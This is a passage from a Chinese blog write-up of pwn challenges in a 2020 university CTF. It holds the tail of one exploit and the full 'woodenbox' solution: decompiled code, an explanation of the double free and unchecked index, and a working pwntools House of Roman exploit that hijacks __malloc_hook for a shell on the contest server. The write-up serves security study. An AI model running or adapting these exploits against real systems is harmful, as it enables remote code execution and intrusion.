    payload += p64(r12)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(edi)
    payload += p64(addr_csu_front)
    payload += p64(0) * 7
    payload += p64(last_ret)
    return payload


def add(add_len, add_content):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('______?\n', str(add_len))
    p.sendafter('yes_or_no?\n', add_content)


def delete(delete_idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?\n', str(delete_idx))


def show(show_idx):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('index ?\n', str(show_idx))


def edit(edit_idx, edit_content):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('index ?\n', str(edit_idx))
    p.sendafter('___new_content ?\n', edit_content)


got_read = elf.got['read']
rop_leave_ret = 0x4009a9
rop_pop_rbp_ret = 0x400800
rop_ret = 0x400711
addr_chunk_list = 0x6032e0
addr_csu_front = 0x402390
addr_csu_end = 0x4023A6
addr_bss = 0x603500
# leak libc
pd = amd64_csu(got_read, 0, addr_bss, 0x500, rop_pop_rbp_ret)
pd += p64(addr_bss)
pd += p64(rop_leave_ret)
p.sendafter('your name? \n', pd)  # for __malloc_hook rop
add(0x90, '0' * 0x200)
add(0x10, '1' * 0x200)
add(0x60, '2' * 0x200)
add(0x60, '3' * 0x200)
delete(0)
add(0x90, '0' * 0x200)
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libc = LibcSearcher('__malloc_hook', addr___malloc_hook)  # 2
libcbase = addr___malloc_hook - libc.dump('__malloc_hook')
addr_mprotect = libcbase + libc.dump('mprotect')
addr___free_hook = libcbase + libc.dump('__free_hook')

# unlink
pd = p64(0) + p64(0x91)
pd += p64(addr_chunk_list - 0x18) + p64(addr_chunk_list - 0x10)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0x90)
edit(0, pd)
delete(1)

# shellcode orw
pd = p64(0) * 3
pd += p64(addr___malloc_hook) + p64(addr_mprotect)
pd += asm(shellcraft.cat('/flag'))
edit(0, pd)
edit(0, p64(addr_csu_end))
# gdb.attach(p, "b *0x402399\nc")
p.sendlineafter('>> ', '1')
p.sendlineafter('______?\n', str(0x90))

pd = p64(addr_bss)
pd += amd64_csu(addr_chunk_list + 8, 0x603000, 0x1000, 7, addr_chunk_list + 0x10)
p.sendline(pd)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_mprotect      = ' + hex(addr_mprotect))
success('addr___free_hook   = ' + hex(addr___free_hook))
p.interactive()

Flag:

1
无

woodenbox

Description:

本题由南京航空航天大学Asuri提供。
这是一个木头屋子，里面住着罗马人。
nc 121.36.215.224 9998

Solution:

程序保护如下：

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Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下：

这题主要漏洞点是没有检测数组下标导致程序可以修改后门 a 上面的值，且长度为任意值：

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int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  a = malloc(0x70uLL);
  b = malloc(0x70uLL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      change_item();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        remove_item();
      }
      else
      {
        if ( v3 == 4 )
          leave();
LABEL_13:
        puts("invaild choice!!!");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_item();
    }
  }
}

menu 函数如下：

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int menu()
{
  puts("----------------------------");
  puts("Wooden Box Menu");
  puts("----------------------------");
  puts("1.add a new item");
  puts("2.change the item in the box");
  puts("3.remove the item in the box");
  puts("4.exit");
  puts("----------------------------");
  return printf("Your choice:");
}

add_item 函数如下：

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__int64 add_item()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num > 11 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 11; ++i )
    {
      if ( !chunk_2020A8[2 * i] )
      {
        *(&itemlist + 4 * i) = v2;
        chunk_2020A8[2 * i] = malloc(v2);
        printf("Please enter the name of item:");
        v3 = read(0, chunk_2020A8[2 * i], v2);
        if ( *(chunk_2020A8[2 * i] + v3 - 1) == 10 )
          *(chunk_2020A8[2 * i] + v3 - 1) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

remove_item 函数如下：

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unsigned __int64 remove_item()
{
  signed __int64 v0; // rsi
  __int64 *v1; // rdx
  __int64 v2; // rax
  __int64 v3; // rdx
  signed int i; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v6 = atoi(&buf);
    if ( chunk_2020A8[2 * v6] )
    {
      free(chunk_2020A8[2 * v6]);
      chunk_2020A8[2 * v6] = 0LL;
      *(&itemlist + 4 * v6) = 0;
      for ( i = 0; i <= 10; ++i )
      {
        v0 = 16LL * i;
        v1 = (&itemlist + 16 * (i + 1));
        v2 = *v1;
        v3 = v1[1];
        *(&itemlist + v0) = v2;
        *(&itemlist + v0 + 8) = v3;
      }
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v8;
}

change_item 函数如下：

可以看到对长度的检测是用 strlen 函数来判断的：

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unsigned __int64 change_item()
{
  int v0; // ST08_4
  int v2; // [rsp+4h] [rbp-2Ch]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf; // [rsp+10h] [rbp-20h]
  char nptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( chunk_2020A8[2 * v2] )
    {
      printf("Please enter the length of item name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name of the item:", &nptr);
      v3 = read(0, chunk_2020A8[2 * v2], v0);
      if ( *(chunk_2020A8[2 * v2] + v3 - 1) == 10 )
        *(chunk_2020A8[2 * v2] + v3 - 1) = 0;
      *(&itemlist + 4 * v2) = strlen(chunk_2020A8[2 * v2]);
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v6;
}

由此看来我们对堆块大小记录的值是可控的，又因为记载堆地址 a 的大小的地址恰好是记录堆块数量的 num 变量的地址

所以我们可以靠 change_item 函数人为控制 num 的数量，避免出现因 num 而导致的错误

leave 函数如下（挑明本题漏洞点函数）：

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void leave()
{
  free(b);
  free(b);
}

这个一看就知道是 House of Roman 了

这题可以利用修改下标 12 的堆块，即 a 堆块，实现除了堆块 a，和堆块 b 外的所有堆块的修改能力

delete 操作会删掉当前堆块和下标为 0 的堆块，所以后面要布置多少个堆块前面就要铺垫多少个堆块

之后就是 House of Roman 了，修改 unsorted bin 为 fastbin，爆破成功拿到 __malloc_hook - 0x23 的地址权限后，再修复 fastbin

再利用 unsorted bin attack 使 __malloc_hook 拥有 main_arena + 88 的地址，最后爆破将其改为 addr_one_gadget ，利用 leave 函数即可提权

赛后看 Nu1L 的 wp 发现还可以拿 _IO_2_1_stdout_ 的 chunk 实现泄露，只需要 1 / 16 的概率就能拿 shell，比我这种方法简单多了

exp 如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
    try:
        if debug == 1:
            p = process('./woodenbox2')
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
        else:
            p = remote('121.36.215.224', 9998)
            libc = ELF('./libc6_2.23-0ubuntu11_amd64.so', checksec=False)
        elf = ELF('./woodenbox2', checksec=False)


        def add(name_len, name_content):
            p.sendlineafter('Your choice:', '1')
            p.sendlineafter('item name:', str(name_len))
            p.sendafter('name of item:', name_content)


        def edit(edit_idx, edit_len, edit_content):
            p.sendlineafter('Your choice:', '2')
            p.sendlineafter('index of item:', str(edit_idx))
            p.sendlineafter('length of item name:', str(edit_len))
            p.sendafter('name of the item:', edit_content)


        def delete(delete_idx):
            p.sendlineafter('Your choice:', '3')
            p.sendlineafter('index of item:', str(delete_idx))


        libc___malloc_hook = libc.sym['__malloc_hook']
        libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
        # make fake unsorted bin fd
        add(0x10, '0')
        add(0x10, '1')
        add(0x10, '2')
        add(0x10, '3')
        add(0x60, '4')
        add(0x60, '5')
        add(0x60, '6')
        add(0xc0, '\x00' * 0x68 + p64(0x61))
        add(0x10, '8')
        delete(0)
        delete(6)
        add(0xc0, p16(0xcaed))
        pd = 'a' * 0x70
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        edit(12, 0x1000, pd)

        # make fake fastbin fd
        delete(3)
        delete(3)
        delete(0)
        pd = 'a' * 2
        pd += '\x00' * 0x6e
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0x71)
        edit(12, 0x1000, pd + '\xd0')
        add(0x60, '0')
        add(0x60, '1')
        add(0x60, '2')

        # fix fastbin fd
        delete(1)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x60
        pd += p64(0) + p64(0x71)
        pd += '\x00' * 0x10
        edit(12, 0x1000, pd)
        add(0xc0, '0')
        add(0x20, '8')
        delete(0)
        pd += '\x00' * 0x50
        pd += p64(0) + p64(0x61)
        pd += '\x00' * 0x50
        pd += p64(0) + p64(0x21)
        pd += '\x00' * 0x10
        pd += p64(0) + p64(0xd1)
        edit(12, 0x1000, pd + p64(0) + p16(0xcb00))
        add(0xc0, '0')
        info('libc___malloc_hook = ' + hex(libc___malloc_hook))
        for i in range(0, len(libc_one_gadget)):
            info('libc_one_gadget[' + str(i) + '] = ' + hex(libc_one_gadget[i]) +
                 ';offset = ' + hex(libc___malloc_hook - libc_one_gadget[i]))
        pd = '\x00' * 0x13
        pd += '\xa4\x82\x21'  # libc_one_gadget[2]
        edit(2, 0x1000, pd)
        # gdb.attach(p)
        p.sendlineafter('Your choice:', '4')
        p.recv()
        p.sendline('ls -la')
        p.recv()
        p.recv(timeout=0.1)
        p.interactive()
        break
    except:
        p.close()
        continue

Flag:

1
flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}

本文标题:【WriteUp】高校抗“疫”网络安全分享赛 -- Pwn 题解

文章作者:binLep

发布时间:2020-03-10, 11:39:00

最后更新:2020-03-13, 04:02:56

原始链接:https://binlep.github.io/old_blog_01/2020/03/10/【WriteUp】高校抗“疫”网络安全分享赛 -- Pwn 题解/

许可协议: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

文章目录
  1. 1. bjut
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. babyhacker
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. babyhacker2
  4. 4. easyheap
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. lgd
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. woodenbox
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
15673 | 6